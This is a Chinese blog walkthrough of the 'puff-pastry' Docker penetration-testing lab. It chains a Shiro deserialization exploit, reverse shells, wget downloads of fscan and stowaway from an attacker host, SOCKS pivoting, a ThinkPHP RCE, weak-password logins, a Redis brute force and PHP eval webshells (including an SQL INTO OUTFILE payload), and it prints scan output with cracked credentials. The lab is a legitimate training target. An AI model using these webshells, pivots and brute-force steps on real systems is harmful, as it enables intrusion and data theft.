puff-pastry靶机

首先先将docker镜像拉起来

docker-compose up -d

docker ps -a

用这个命令看看容器都跑起来没有,如果stastus都显示"up"就代表成功跑起来了

打开浏览器访问127.0.0.1:8080可以看到,是登录框

信息收集可以发现是java语言编写的

随意输入一个shiro框架初始初始账号密码弱口令,打开开发者工具抓包看到cookie值存在rememberMe字样,说明是shiro框架

直接用shiro反序列化漏洞综合利用工具爆破秘钥,检测当前利用链再爆破利用链及回显就可以进行命令执行(出题人手下留情了,什么防护都没加)

获得第一个flag

shell获取

因为受害机一般在内网,攻击机很难访问的到

简单来说这个反弹shell的命令就是要将交互式shell弹到文件上,然后将标准输出1标准错误2标准输入0全部重定向

接下来就是获取shell,先在本地监听9001端口

查询本地ip利用工具生成反弹shell命令(生成反弹shell命令工具名为utool)

这里最好是将反弹shell的命令进行base64加密后再用

粘贴到shiro反序列化工具里面,点击执行(注意工具里面是没有回显的)

获取到shell,命令执行拿到第一个flag

当然有的时候系统可能会对输入进行过滤,我们就需要变换一下命令的格式,探姬老师这个图片里面说到了base64编码,还有将反弹shell的命令写入sh文件里面作为脚本给予执行权限后再运行

文件落地

接下来就要进行信息收集了,对于内网来说首先肯定是ip信息,127.0.0.1想都不用想肯定是不用看的,这里我们就上传一些工具帮助我们进行信息收集

先开启Python的Http静态服务,因为探姬老师的靶机对于传进来的文件是没有进行任何的过滤的,这里我们开启Http服务后直接利用wget命令获取本地工具即可

在浏览器访问一下开启的http服务找到要上传的工具fscan(记得在本地下载linux版本的fscan)

成功将fscan上传到受害机,先给予权限

在攻击机准备上传的工具文件夹终端中输入
python -m http.server 8083

在靶机中输入
wget http://攻击机ip:端口/fscan文件名

chmod +x fscan文件名

./fscan -h 192.168.100.1-255
[889ms]     开始选择扫描模式
[889ms]     开始端口/主机扫描
[889ms]     生成 IP 范围: 192.168.100.1 - 192.168.100.255
[889ms]     当前可用的线程数/并发数: 255
[889ms]     开始存活主机探测
[889ms]     使用的服务检测插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle, poc, webtitle
[894ms] [*] 目标 192.168.100.1   存活 (ICMP)
[897ms] [*] 目标 192.168.100.2   存活 (ICMP)
[899ms] [*] 目标 192.168.100.3   存活 (ICMP)
[3.9s]     存活主机总数: 3
[3.9s]     扫描的端口总数: 233
[3.9s] [*] 端口发现: 192.168.100.2:9000

[3.9s] [*] 端口发现: 192.168.100.2:80
[3.9s] [*] 端口发现: 192.168.100.1:18080
[3.9s] [*] 端口发现: 192.168.100.3:8080
[3.9s]     扫描完成,发现 4 个开放端口
[4.0s]     存活端口数量: 4
[4.0s]     开始漏洞扫描模式

[4.0s]     POC 加载完成: 共加载 387 条,成功 387 条,失败 0 条

[4.0s] [*] WebTitle http://192.168.100.2      状态码:200 长度:931    标题:None

[4.1s] [*] WebTitle http://192.168.100.1:18080 状态码:302 长度:0      标题:None 重定向 url: http://192.168.100.1:18080/login;jsessionid=FA38E4BB144DFA5340B14FE8026A5715

[4.1s] [*] WebTitle http://192.168.100.3:8080 状态码:302 长度:0      标题:None 重定向 url: http://192.168.100.3:8080/login;jsessionid=38BEBB19DE0E43014A4E31C8600549AB

[4.2s] [*] WebTitle http://192.168.100.1:18080/login;jsessionid=FA38E4BB144DFA5340B14FE8026A5715 状态码:200 长度:2608   标题:Login Page
[4.2s] [*] WebTitle http://192.168.100.3:8080/login;jsessionid=38BEBB19DE0E43014A4E31C8600549AB 状态码:200 长度:2608   标题:Login Page
[4.5s] [+] 找到漏洞 http://192.168.100.3:8080/ poc-yaml-shiro-key 参数:[{mode cbc} {key kPH+bIxk5D2deZiIxcaaaA==}]
[4.5s] [+] 找到漏洞 http://192.168.100.1:18080/ poc-yaml-shiro-key 参数:[{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
[5.6s]     扫描命中 8/8


前面fscan扫出来了三台存活主机,但是你其实是不知道其他主机还存在其他网段的,你要上去之后才知道(下面这个图仅供参考,因为docker容器启动的时候ip是随机分配的,理解意思就好)

因为在内网所以无法直接访问,但是你可以使用curl命令访问,但是很麻烦

这里我不使用探姬用的chisel工具了,我用stowaway结合proxifier做代理转发,通过wget下载工具并且赋予权限(记得切换到stowaway工具所在目录后再开启http服务)

在shiro主机中
wget http://攻击机ip:端口/stowaway_agent

chmod +x stowaway_agent

./stowaway_agent -c 攻击机ip:ls9999(回连admin端,因为反向连接可以解决外网无法访问内网的情况)

在windows攻击机上  

./stowaway_admin -l 9999(admin端监听本地9999端口,等待agent端回连)

use 0

socks 7777(在7777端口上做代理转发)

再配置一下proxifier使攻击机可以通过代理访问到刚刚扫出来的192.168.100.3主机。因为本身攻击机和192.168.100.3的主机不在同一个网段,但是shiro主机(192.168.100.)和192.168.100.3的主机在同一个网段,我们就可以利用shiro主机作为跳板访问192.168.100.3的主机

配置代理服务器(注意是admin端的ip哦,这里因为我admin端在本地windows主机里面所以配的是本地windows的ip)

配置代理规则,使本地windows主机(admin端)的所有应用程序都可以访问192.168.100.*的网段

配置完以后记得检查一下代理服务器是否可以正常工作

这样我们就连上了thinkphp(192.168.100.2)了

接下来直接使用thinkphp的工具攻击它

检测到目标存在tp5_invoke_func_code_exec_1漏洞

选择需要利用的漏洞漏洞

命令执行发现成功

接下来就要拿第二个shell,打开一个新的终端,然后监听9002端口

base64加密了一下才弹成功

第二个flag在根目录下,成功拿下

接下来就要对第二个机器进行信息收集,发现出现了新的网段10.85.101.4

一样的,传fscan,扫描新网段,传工具的步骤就不重复了跟前面一样

[912ms] 正在检查常见服务暴露模块 [912ms] 初始化并发与扫描策略 [912ms] CIDR 范围: 10.85.101.0-10.85.101.255 [912ms] generate_ip_range_full [912ms] 解析 CIDR 10.85.101.0/24 -> IP 范围 10.85.101.0-10.85.101.255 [912ms] 当前可扫描 IP 数量: 256 [912ms] 开始并发端口扫描 [912ms] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle, poc, webtitle

[915ms] 正在尝试使用 ICMP 探测... [915ms] ICMP 连接失败: dial ip4:icmp 127.0.0.1: socket: operation not permitted [915ms] 当前用户权限不足,无法发送 ICMP 探测 [915ms] 切换为 TCP/PING 探测模式

[974ms] [] 目标 10.85.101.1 存活 (ICMP) [21.0s] [] 目标 10.85.101.2 存活 (ICMP) [31.0s] [] 目标 10.85.101.3 存活 (ICMP) [31.0s] [] 目标 10.85.101.4 存活 (ICMP) [1m0s] 存活主机数量: 4 [1m0s] 待扫描端口总数: 233

[1m1s] [*] 发现开放端口 10.85.101.2:6379

[1m1s] [*] 发现开放端口 10.85.101.4:80

[1m1s] [] 发现开放端口 10.85.101.4:9000 [1m1s] [] 发现开放端口 10.85.101.3:9000 [1m1s] [*] 发现开放端口 10.85.101.3:80

[1m3s] 扫描完成,准备进行漏洞/POC 验证...

[1m3s] 存活端口数量: 5 [1m3s] 启动漏洞验证模式

[1m4s] POC 加载完成: 共 387 个,成功 387 个,失败 0 个

[1m4s] [*] 网站信息: http://10.85.101.4 状态码:200 页面大小:931 标题: (空/未识别)

[1m4s] [] 网站信息: http://10.85.101.3 状态码:200 页面大小:19597 标题: phpMyAdmin [1m4s] [] 发现后台页面: http://10.85.101.3 后台指纹: [phpMyAdmin]

可以看到扫出两个新的ip,我们先搭建代理转发

admin端的(node 0)开个监听

listen #监听
1
10000 #监听端口为10000

在thinkphp端agent端回连shiro主机的10000端口

可以看到成功连上且建立了新的节点,切换到新的节点后再进行代理转发

admin端:
use 1
socks 7778 admin admin 建立socks代理

再配置一下proxifier(记得用本地windows主机的ip端口)至于说这里为什么要在原来0节点的基础上改配置我猜应该是0节点暂时不用了所以就先将配置删了(下图是我切换到1节点之后再去测试原来0节点的代理服务器配置发现测试失败了)

接下来尝试访问10.85.101.3:80,发现访问成功,phpmyadmin的登陆框就先测试弱口令root root

弱口令成功进入

观察左侧数据库名发现有个flag,点进去一看第三个flag就获得了

在前面对10.85.101.0/24网段进行扫描的时候其实我们扫出来过一个 10.85.101.2:6379,这就是拓扑图中的redis服务,直接用redisbrute工具爆破密码即可,-p指定字典,-T指定爆破目标

阅读下图可以发现我们成功爆破出密码123456,然后利用redis-cli连接上redis服务,输入PING观察回显,回显PONG表示客户端与 Redis 服务端通信正常,服务端在响应。

输入KEYS *返回数据库中匹配模式 * 的所有键,但是显示空的,GET flag也是空的,这里貌似出了点问题,搞不到flag

接下来就得靠phpmyadmin来弹webshell进深一层内网了,利用sql语句写入webshell

select '<?php @eval($POST['cmd'])?>' into outfile '/var/www/html/shell.php'

但是发现提示我权限不够,后面询问探姬本人后发现是靶场问题。可以在容器目录下马,phpmyadmin那里提权貌似也有点问题,总之打进内部就好了。

首先进入docker中phpmyadmin的容器,开一个bash

docker exec -it puff-pastry-main-web-phpmyadmin-1 bash

写一个一句话木马进/var/www/html/1.php

cat > /var/www/html/1.php << 'EOF'
<?php @eval($_POST["attack"]); ?>
EOF

验证木马是否写入,页面为空说明成功写入。

接下来再用蚁剑连接

进入文件管理模块,flag就在根目录下

就在flag.txt中,拿下flag

接下来就是文件落地了,依旧传fscan和stowaway_agent

发现新的网段,172.56.102.0/24,

fscan扫描结果如下

(root:/) $ ./fscan -h 172.56.102.0/24
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1
[1.0s]     已选择服务扫描模式
[1.0s]     开始信息扫描
[1.0s]     CIDR范围: 172.56.102.0-172.56.102.255
[1.0s]     generate_ip_range_full
[1.0s]     解析CIDR 172.56.102.0/24 -> IP范围 172.56.102.0-172.56.102.255
[1.0s]     最终有效主机数量: 256
[1.0s]     开始主机扫描
[1.0s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.0s] [*] 目标 172.56.102.1    存活 (ICMP)
[1.0s] [*] 目标 172.56.102.2    存活 (ICMP)
[1.0s] [*] 目标 172.56.102.4    存活 (ICMP)
[1.0s] [*] 目标 172.56.102.3    存活 (ICMP)
[4.0s]     存活主机数量: 4
[4.0s]     有效端口数量: 233
[4.1s] [*] 端口开放 172.56.102.2:5432
[4.1s] [*] 端口开放 172.56.102.4:80
[4.1s] [*] 端口开放 172.56.102.4:9000
[4.1s] [*] 端口开放 172.56.102.3:8080
[4.1s] [*] 端口开放 172.56.102.3:8009
[7.0s]     扫描完成, 发现 5 个开放端口
[7.0s]     存活端口数量: 5
[7.0s]     开始漏洞扫描
[7.1s]     POC加载完成: 总共387个,成功387个,失败0个
[7.1s] [+] PostgreSQL服务 172.56.102.2:5432 成功爆破 用户名: postgres 密码: password
[7.3s] [*] 网站标题 http://172.56.102.4       状态码:200 长度:19597  标题:phpMyAdmin
[7.4s] [*] 发现指纹 目标: http://172.56.102.4       指纹: [phpMyAdmin]
[9.1s] [*] 网站标题 http://172.56.102.3:8080  状态码:200 长度:90     标题:$Title$
[9.4s] [+] 目标: http://172.56.102.3:8080
  漏洞类型: poc-yaml-struts2_045
  漏洞名称: poc1
  详细信息:
    作者:shadown1ng(https://github.com/shadown1ng)
[9.6s]     扫描已完成: 9/9

可以看到又出现新的网段主机了,fscan将 PostgreSQL服务的用户名密码甚至都直接爆破出来了,接下来就要搭建代理转发访问新网段了

在1节点上监听10001端口

在phpmyadmin主机上用stowaway_agent回连

用2节点在本机7779端口上开socks代理转发

但是有个大问题就是不知道为什么老是莫名奇妙就断连了,这边建议加个参数 --reconnect 数字,意思就是哪怕断连了每隔数字秒就重新连一次

接下来依旧配置proxifier

配置完以后访问一下刚刚扫出来新网段里面存活的主机

刚刚fscan扫出来是Structs框架,那就用Structs漏洞工具打一下

打到这里就算打完了。整个打靶过程其实挺坎坷的,中间phpmyadmin无权限写马(问了原作者提权貌似也有点问题)还有redis数据库为空着实卡了我好久,希望看到我这边文章的读者不要踩坑了吧(悲)

posted @ 2025-11-21 19:30  朱迪Judy  阅读(4)  评论(0)    收藏  举报